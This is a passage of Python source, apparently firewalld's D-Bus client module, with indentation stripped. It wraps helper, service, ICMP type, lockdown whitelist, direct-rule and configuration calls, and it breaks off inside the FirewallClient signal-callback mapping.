return self.fw_helper.getVersion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setVersion(self, version):
self.fw_helper.setVersion(version)
# short
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getShort(self):
return self.fw_helper.getShort()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setShort(self, short):
self.fw_helper.setShort(short)
# description
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDescription(self):
return self.fw_helper.getDescription()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDescription(self, description):
self.fw_helper.setDescription(description)
# port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPorts(self):
return self.fw_helper.getPorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setPorts(self, ports):
self.fw_helper.setPorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPort(self, port, protocol):
self.fw_helper.addPort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePort(self, port, protocol):
self.fw_helper.removePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPort(self, port, protocol):
return self.fw_helper.queryPort(port, protocol)
# family
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getFamily(self):
return self.fw_helper.getFamily()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setFamily(self, ipv):
if ipv is None:
self.fw_helper.setFamily("")
self.fw_helper.setFamily(ipv)
# module
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getModule(self):
return self.fw_helper.getModule()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setModule(self, module):
self.fw_helper.setModule(module)
# service config
class FirewallClientConfigService(object):
@handle_exceptions
def __init__(self, bus, path):
self.bus = bus
self.path = path
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE, path)
self.fw_service = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_SERVICE)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG_SERVICE, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG_SERVICE))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG_SERVICE,
prop, value)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientServiceSettings(list(dbus_to_python(\
self.fw_service.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_service.update(tuple(settings.settings))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def loadDefaults(self):
self.fw_service.loadDefaults()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def remove(self):
self.fw_service.remove()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def rename(self, name):
self.fw_service.rename(name)
# version
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getVersion(self):
return self.fw_service.getVersion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setVersion(self, version):
self.fw_service.setVersion(version)
# short
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getShort(self):
return self.fw_service.getShort()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setShort(self, short):
self.fw_service.setShort(short)
# description
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDescription(self):
return self.fw_service.getDescription()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDescription(self, description):
self.fw_service.setDescription(description)
# port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPorts(self):
return self.fw_service.getPorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setPorts(self, ports):
self.fw_service.setPorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPort(self, port, protocol):
self.fw_service.addPort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePort(self, port, protocol):
self.fw_service.removePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPort(self, port, protocol):
return self.fw_service.queryPort(port, protocol)
# protocol
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getProtocols(self):
return self.fw_service.getProtocols()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setProtocols(self, protocols):
self.fw_service.setProtocols(protocols)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addProtocol(self, protocol):
self.fw_service.addProtocol(protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeProtocol(self, protocol):
self.fw_service.removeProtocol(protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryProtocol(self, protocol):
return self.fw_service.queryProtocol(protocol)
# source-port
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSourcePorts(self):
return self.fw_service.getSourcePorts()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setSourcePorts(self, ports):
self.fw_service.setSourcePorts(ports)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addSourcePort(self, port, protocol):
self.fw_service.addSourcePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeSourcePort(self, port, protocol):
self.fw_service.removeSourcePort(port, protocol)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def querySourcePort(self, port, protocol):
return self.fw_service.querySourcePort(port, protocol)
# module
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getModules(self):
return self.fw_service.getModules()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setModules(self, modules):
self.fw_service.setModules(modules)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addModule(self, module):
self.fw_service.addModule(module)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeModule(self, module):
self.fw_service.removeModule(module)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryModule(self, module):
return self.fw_service.queryModule(module)
# destination
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDestinations(self):
return self.fw_service.getDestinations()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDestinations(self, destinations):
self.fw_service.setDestinations(destinations)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDestination(self, destination):
return self.fw_service.getDestination(destination)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDestination(self, destination, address):
self.fw_service.setDestination(destination, address)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeDestination(self, destination, address=None):
if address is not None and self.getDestination(destination) != address:
raise FirewallError(errors.NOT_ENABLED, "'%s:%s'" % \
(destination, address))
self.fw_service.removeDestination(destination)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryDestination(self, destination, address):
return self.fw_service.queryDestination(destination, address)
# icmptype config settings
class FirewallClientIcmpTypeSettings(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = ["", "", "", []]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getVersion(self):
return self.settings[0]
@handle_exceptions
def setVersion(self, version):
self.settings[0] = version
@handle_exceptions
def getShort(self):
return self.settings[1]
@handle_exceptions
def setShort(self, short):
self.settings[1] = short
@handle_exceptions
def getDescription(self):
return self.settings[2]
@handle_exceptions
def setDescription(self, description):
self.settings[2] = description
@handle_exceptions
def getDestinations(self):
return self.settings[3]
@handle_exceptions
def setDestinations(self, destinations):
self.settings[3] = destinations
@handle_exceptions
def addDestination(self, destination):
# empty means all
if not self.settings[3]:
raise FirewallError(errors.ALREADY_ENABLED, destination)
elif destination not in self.settings[3]:
self.settings[3].append(destination)
else:
raise FirewallError(errors.ALREADY_ENABLED, destination)
@handle_exceptions
def removeDestination(self, destination):
if destination in self.settings[3]:
self.settings[3].remove(destination)
# empty means all
elif not self.settings[3]:
self.setDestinations(list(set(['ipv4','ipv6']) - \
set([destination])))
else:
raise FirewallError(errors.NOT_ENABLED, destination)
@handle_exceptions
def queryDestination(self, destination):
# empty means all
return not self.settings[3] or \
destination in self.settings[3]
# icmptype config
class FirewallClientConfigIcmpType(object):
@handle_exceptions
def __init__(self, bus, path):
self.bus = bus
self.path = path
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE, path)
self.fw_icmptype = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE,
prop, value)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientIcmpTypeSettings(list(dbus_to_python(\
self.fw_icmptype.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_icmptype.update(tuple(settings.settings))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def loadDefaults(self):
self.fw_icmptype.loadDefaults()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def remove(self):
self.fw_icmptype.remove()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def rename(self, name):
self.fw_icmptype.rename(name)
# version
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getVersion(self):
return self.fw_icmptype.getVersion()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setVersion(self, version):
self.fw_icmptype.setVersion(version)
# short
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getShort(self):
return self.fw_icmptype.getShort()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setShort(self, short):
self.fw_icmptype.setShort(short)
# description
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDescription(self):
return self.fw_icmptype.getDescription()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDescription(self, description):
self.fw_icmptype.setDescription(description)
# destination
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDestinations(self):
return self.fw_icmptype.getDestinations()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDestinations(self, destinations):
self.fw_icmptype.setDestinations(destinations)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addDestination(self, destination):
self.fw_icmptype.addDestination(destination)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeDestination(self, destination):
self.fw_icmptype.removeDestination(destination)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryDestination(self, destination):
return self.fw_icmptype.queryDestination(destination)
# config.policies lockdown whitelist
class FirewallClientPoliciesLockdownWhitelist(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = [ [], [], [], [] ]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getCommands(self):
return self.settings[0]
@handle_exceptions
def setCommands(self, commands):
self.settings[0] = commands
@handle_exceptions
def addCommand(self, command):
if command not in self.settings[0]:
self.settings[0].append(command)
@handle_exceptions
def removeCommand(self, command):
if command in self.settings[0]:
self.settings[0].remove(command)
@handle_exceptions
def queryCommand(self, command):
return command in self.settings[0]
@handle_exceptions
def getContexts(self):
return self.settings[1]
@handle_exceptions
def setContexts(self, contexts):
self.settings[1] = contexts
@handle_exceptions
def addContext(self, context):
if context not in self.settings[1]:
self.settings[1].append(context)
@handle_exceptions
def removeContext(self, context):
if context in self.settings[1]:
self.settings[1].remove(context)
@handle_exceptions
def queryContext(self, context):
return context in self.settings[1]
@handle_exceptions
def getUsers(self):
return self.settings[2]
@handle_exceptions
def setUsers(self, users):
self.settings[2] = users
@handle_exceptions
def addUser(self, user):
if user not in self.settings[2]:
self.settings[2].append(user)
@handle_exceptions
def removeUser(self, user):
if user in self.settings[2]:
self.settings[2].remove(user)
@handle_exceptions
def queryUser(self, user):
return user in self.settings[2]
@handle_exceptions
def getUids(self):
return self.settings[3]
@handle_exceptions
def setUids(self, uids):
self.settings[3] = uids
@handle_exceptions
def addUid(self, uid):
if uid not in self.settings[3]:
self.settings[3].append(uid)
@handle_exceptions
def removeUid(self, uid):
if uid in self.settings[3]:
self.settings[3].remove(uid)
@handle_exceptions
def queryUid(self, uid):
return uid in self.settings[3]
# config.policies
class FirewallClientConfigPolicies(object):
@handle_exceptions
def __init__(self, bus):
self.bus = bus
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE,
config.dbus.DBUS_PATH_CONFIG)
self.fw_policies = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_POLICIES)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelist(self):
return FirewallClientPoliciesLockdownWhitelist( \
list(dbus_to_python(self.fw_policies.getLockdownWhitelist())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setLockdownWhitelist(self, settings):
self.fw_policies.setLockdownWhitelist(tuple(settings.settings))
# command
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistCommand(self, command):
self.fw_policies.addLockdownWhitelistCommand(command)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistCommand(self, command):
self.fw_policies.removeLockdownWhitelistCommand(command)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistCommand(self, command):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistCommand(command))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistCommands(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistCommands())
# context
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistContext(self, context):
self.fw_policies.addLockdownWhitelistContext(context)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistContext(self, context):
self.fw_policies.removeLockdownWhitelistContext(context)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistContext(self, context):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistContext(context))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistContexts(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistContexts())
# user
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistUser(self, user):
self.fw_policies.addLockdownWhitelistUser(user)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistUser(self, user):
self.fw_policies.removeLockdownWhitelistUser(user)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistUser(self, user):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistUser(user))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistUsers(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistUsers())
# uid
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistUids(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistUids())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setLockdownWhitelistUids(self, uids):
self.fw_policies.setLockdownWhitelistUids(uids)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistUid(self, uid):
self.fw_policies.addLockdownWhitelistUid(uid)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistUid(self, uid):
self.fw_policies.removeLockdownWhitelistUid(uid)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistUid(self, uid):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistUid(uid))
# config.direct
class FirewallClientDirect(object):
@handle_exceptions
def __init__(self, settings=None):
if settings:
self.settings = settings
else:
self.settings = [ [], [], [], ]
@handle_exceptions
def __repr__(self):
return '%s(%r)' % (self.__class__, self.settings)
@handle_exceptions
def getAllChains(self):
return self.settings[0]
@handle_exceptions
def getChains(self, ipv, table):
return [ entry[2] for entry in self.settings[0] \
if entry[0] == ipv and entry[1] == table ]
@handle_exceptions
def setAllChains(self, chains):
self.settings[0] = chains
@handle_exceptions
def addChain(self, ipv, table, chain):
idx = (ipv, table, chain)
if idx not in self.settings[0]:
self.settings[0].append(idx)
@handle_exceptions
def removeChain(self, ipv, table, chain):
idx = (ipv, table, chain)
if idx in self.settings[0]:
self.settings[0].remove(idx)
@handle_exceptions
def queryChain(self, ipv, table, chain):
idx = (ipv, table, chain)
return idx in self.settings[0]
@handle_exceptions
def getAllRules(self):
return self.settings[1]
@handle_exceptions
def getRules(self, ipv, table, chain):
return [ entry[3:] for entry in self.settings[1] \
if entry[0] == ipv and entry[1] == table \
and entry[2] == chain ]
@handle_exceptions
def setAllRules(self, rules):
self.settings[1] = rules
@handle_exceptions
def addRule(self, ipv, table, chain, priority, args):
idx = (ipv, table, chain, priority, args)
if idx not in self.settings[1]:
self.settings[1].append(idx)
@handle_exceptions
def removeRule(self, ipv, table, chain, priority, args):
idx = (ipv, table, chain, priority, args)
if idx in self.settings[1]:
self.settings[1].remove(idx)
@handle_exceptions
def removeRules(self, ipv, table, chain):
for idx in list(self.settings[1]):
if idx[0] == ipv and idx[1] == table and idx[2] == chain:
self.settings[1].remove(idx)
@handle_exceptions
def queryRule(self, ipv, table, chain, priority, args):
idx = (ipv, table, chain, priority, args)
return idx in self.settings[1]
@handle_exceptions
def getAllPassthroughs(self):
return self.settings[2]
@handle_exceptions
def setAllPassthroughs(self, passthroughs):
self.settings[2] = passthroughs
@handle_exceptions
def removeAllPassthroughs(self):
self.settings[2] = []
@handle_exceptions
def getPassthroughs(self, ipv):
return [ entry[1] for entry in self.settings[2] \
if entry[0] == ipv ]
@handle_exceptions
def addPassthrough(self, ipv, args):
idx = (ipv, args)
if idx not in self.settings[2]:
self.settings[2].append(idx)
@handle_exceptions
def removePassthrough(self, ipv, args):
idx = (ipv, args)
if idx in self.settings[2]:
self.settings[2].remove(idx)
@handle_exceptions
def queryPassthrough(self, ipv, args):
idx = (ipv, args)
return idx in self.settings[2]
# config.direct
class FirewallClientConfigDirect(object):
@handle_exceptions
def __init__(self, bus):
self.bus = bus
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE,
config.dbus.DBUS_PATH_CONFIG)
self.fw_direct = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG_DIRECT)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSettings(self):
return FirewallClientDirect( \
list(dbus_to_python(self.fw_direct.getSettings())))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def update(self, settings):
self.fw_direct.update(tuple(settings.settings))
# direct chain
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addChain(self, ipv, table, chain):
self.fw_direct.addChain(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeChain(self, ipv, table, chain):
self.fw_direct.removeChain(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryChain(self, ipv, table, chain):
return dbus_to_python(self.fw_direct.queryChain(ipv, table, chain))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getChains(self, ipv, table):
return dbus_to_python(self.fw_direct.getChains(ipv, table))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllChains(self):
return dbus_to_python(self.fw_direct.getAllChains())
# direct rule
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addRule(self, ipv, table, chain, priority, args):
self.fw_direct.addRule(ipv, table, chain, priority, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRule(self, ipv, table, chain, priority, args):
self.fw_direct.removeRule(ipv, table, chain, priority, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRules(self, ipv, table, chain):
self.fw_direct.removeRules(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryRule(self, ipv, table, chain, priority, args):
return dbus_to_python(self.fw_direct.queryRule(ipv, table, chain, priority, args))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getRules(self, ipv, table, chain):
return dbus_to_python(self.fw_direct.getRules(ipv, table, chain))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllRules(self):
return dbus_to_python(self.fw_direct.getAllRules())
# tracked passthrough
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPassthrough(self, ipv, args):
self.fw_direct.addPassthrough(ipv, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePassthrough(self, ipv, args):
self.fw_direct.removePassthrough(ipv, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPassthrough(self, ipv, args):
return dbus_to_python(self.fw_direct.queryPassthrough(ipv, args))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPassthroughs(self, ipv):
return dbus_to_python(self.fw_direct.getPassthroughs(ipv))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllPassthroughs(self):
return dbus_to_python(self.fw_direct.getAllPassthroughs())
# config
class FirewallClientConfig(object):
@handle_exceptions
def __init__(self, bus):
self.bus = bus
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE,
config.dbus.DBUS_PATH_CONFIG)
self.fw_config = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_CONFIG)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
self._policies = FirewallClientConfigPolicies(self.bus)
self._direct = FirewallClientConfigDirect(self.bus)
# properties
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE_CONFIG, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE_CONFIG))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE_CONFIG, prop, value)
# ipset
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIPSetNames(self):
return dbus_to_python(self.fw_config.getIPSetNames())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listIPSets(self):
return dbus_to_python(self.fw_config.listIPSets())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIPSet(self, path):
return FirewallClientConfigIPSet(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIPSetByName(self, name):
path = dbus_to_python(self.fw_config.getIPSetByName(name))
return FirewallClientConfigIPSet(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIPSet(self, name, settings):
if isinstance(settings, FirewallClientIPSetSettings):
path = self.fw_config.addIPSet(name, tuple(settings.settings))
else:
path = self.fw_config.addIPSet(name, tuple(settings))
return FirewallClientConfigIPSet(self.bus, path)
# zone
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneNames(self):
return dbus_to_python(self.fw_config.getZoneNames())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listZones(self):
return dbus_to_python(self.fw_config.listZones())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZone(self, path):
return FirewallClientConfigZone(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneByName(self, name):
path = dbus_to_python(self.fw_config.getZoneByName(name))
return FirewallClientConfigZone(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneOfInterface(self, iface):
return dbus_to_python(self.fw_config.getZoneOfInterface(iface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneOfSource(self, source):
return dbus_to_python(self.fw_config.getZoneOfSource(source))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addZone(self, name, settings):
if isinstance(settings, FirewallClientZoneSettings):
path = self.fw_config.addZone(name, tuple(settings.settings))
else:
path = self.fw_config.addZone(name, tuple(settings))
return FirewallClientConfigZone(self.bus, path)
# service
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getServiceNames(self):
return dbus_to_python(self.fw_config.getServiceNames())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listServices(self):
return dbus_to_python(self.fw_config.listServices())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getService(self, path):
return FirewallClientConfigService(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getServiceByName(self, name):
path = dbus_to_python(self.fw_config.getServiceByName(name))
return FirewallClientConfigService(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addService(self, name, settings):
if isinstance(settings, FirewallClientServiceSettings):
path = self.fw_config.addService(name, tuple(settings.settings))
else:
path = self.fw_config.addService(name, tuple(settings))
return FirewallClientConfigService(self.bus, path)
# icmptype
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpTypeNames(self):
return dbus_to_python(self.fw_config.getIcmpTypeNames())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listIcmpTypes(self):
return dbus_to_python(self.fw_config.listIcmpTypes())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpType(self, path):
return FirewallClientConfigIcmpType(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpTypeByName(self, name):
path = dbus_to_python(self.fw_config.getIcmpTypeByName(name))
return FirewallClientConfigIcmpType(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpType(self, name, settings):
if isinstance(settings, FirewallClientIcmpTypeSettings):
path = self.fw_config.addIcmpType(name, tuple(settings.settings))
else:
path = self.fw_config.addIcmpType(name, tuple(settings))
return FirewallClientConfigIcmpType(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def policies(self):
return self._policies
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def direct(self):
return self._direct
# helper
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getHelperNames(self):
return dbus_to_python(self.fw_config.getHelperNames())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listHelpers(self):
return dbus_to_python(self.fw_config.listHelpers())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getHelper(self, path):
return FirewallClientConfigHelper(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getHelperByName(self, name):
path = dbus_to_python(self.fw_config.getHelperByName(name))
return FirewallClientConfigHelper(self.bus, path)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addHelper(self, name, settings):
if isinstance(settings, FirewallClientHelperSettings):
path = self.fw_config.addHelper(name, tuple(settings.settings))
else:
path = self.fw_config.addHelper(name, tuple(settings))
return FirewallClientConfigHelper(self.bus, path)
#
class FirewallClient(object):
@handle_exceptions
def __init__(self, bus=None, wait=0, quiet=True):
if not bus:
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
try:
self.bus = slip.dbus.SystemBus()
self.bus.default_timeout = None
except Exception:
try:
self.bus = dbus.SystemBus()
except dbus.exceptions.DBusException as e:
raise FirewallError(errors.DBUS_ERROR,
e.get_dbus_message())
else:
print("Not using slip.dbus")
else:
self.bus = bus
self.bus.add_signal_receiver(
handler_function=self._dbus_connection_changed,
signal_name="NameOwnerChanged",
dbus_interface="org.freedesktop.DBus",
arg0=config.dbus.DBUS_INTERFACE)
for interface in [ config.dbus.DBUS_INTERFACE,
config.dbus.DBUS_INTERFACE_IPSET,
config.dbus.DBUS_INTERFACE_ZONE,
config.dbus.DBUS_INTERFACE_DIRECT,
config.dbus.DBUS_INTERFACE_POLICIES,
config.dbus.DBUS_INTERFACE_CONFIG,
config.dbus.DBUS_INTERFACE_CONFIG_IPSET,
config.dbus.DBUS_INTERFACE_CONFIG_ZONE,
config.dbus.DBUS_INTERFACE_CONFIG_SERVICE,
config.dbus.DBUS_INTERFACE_CONFIG_HELPER,
config.dbus.DBUS_INTERFACE_CONFIG_DIRECT,
config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE,
config.dbus.DBUS_INTERFACE_CONFIG_POLICIES ]:
self.bus.add_signal_receiver(self._signal_receiver,
dbus_interface=interface,
interface_keyword='interface',
member_keyword='member',
path_keyword='path')
# callbacks
self._callback = { }
self._callbacks = {
# client callbacks
"connection-changed": "connection-changed",
"connection-established": "connection-established",
"connection-lost": "connection-lost",
# firewalld callbacks
"log-denied-changed": "LogDeniedChanged",
"default-zone-changed": "DefaultZoneChanged",
"panic-mode-enabled": "PanicModeEnabled",
"panic-mode-disabled": "PanicModeDisabled",
"reloaded": "Reloaded",
"service-added": "ServiceAdded",
"service-removed": "ServiceRemoved",
"port-added": "PortAdded",
"port-removed": "PortRemoved",
"source-port-added": "SourcePortAdded",
"source-port-removed": "SourcePortRemoved",
"protocol-added": "ProtocolAdded",
"protocol-removed": "ProtocolRemoved",
"masquerade-added": "MasqueradeAdded",
"masquerade-removed": "MasqueradeRemoved",
"forward-port-added": "ForwardPortAdded",
"forward-port-removed": "ForwardPortRemoved",
"icmp-block-added": "IcmpBlockAdded",
"icmp-block-removed": "IcmpBlockRemoved",
"icmp-block-inversion-added": "IcmpBlockInversionAdded",
"icmp-block-inversion-removed": "IcmpBlockInversionRemoved",
"richrule-added": "RichRuleAdded",
